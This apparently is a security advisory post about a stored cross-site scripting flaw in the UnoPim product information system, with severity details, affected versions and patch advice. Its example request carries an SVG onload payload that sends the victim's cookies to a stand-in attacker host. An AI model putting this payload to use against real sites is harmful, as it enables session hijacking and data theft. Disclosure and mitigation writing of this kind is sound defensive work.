Overview
In this post, we will explore the details of CVE-2025-55742, a significant security flaw found in UnoPim, an open-source Product Information Management (PIM) system developed on the Laravel framework. This vulnerability has been identified as a critical stored cross-site scripting (XSS) issue, which can lead to potential system compromise or data leakage if left unaddressed.
The vulnerability affects versions of UnoPim before 0.2.1. Considering the widespread use of UnoPim as a PIM system, this vulnerability could potentially impact a large number of users and businesses. Therefore, understanding and mitigating this vulnerability should be a top priority for security professionals and system administrators alike.
Vulnerability Summary
CVE ID: CVE-2025-55742
Severity: High (8.0 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
UnoPim | Before 0.2.1
How the Exploit Works
The vulnerability stems from a flaw in the SVG MIME/sanitizer bypass in the /admin/settings/users/create endpoint of UnoPim. This flaw permits malicious actors to inject and store harmful scripts in the server through SVG files. When these scripts are executed, they can compromise the system or cause data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. This is a hypothetical HTTP POST request to the vulnerable endpoint, which includes a malicious payload in the form of an SVG file.
POST /admin/settings/users/create HTTP/1.1
Host: target.example.com
Content-Type: image/svg+xml
<svg onload="new Image().src='http://attacker.com/collect.php?c='+document.cookie"></svg>In this example, the attacker sends an SVG file that contains a script which, when executed, sends the user’s cookie data to the attacker’s server. This is just one of the many ways this vulnerability could be exploited.
The best way to mitigate this vulnerability is to apply the vendor patch that was released with version 0.2.1 of UnoPim. If for some reason the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation.
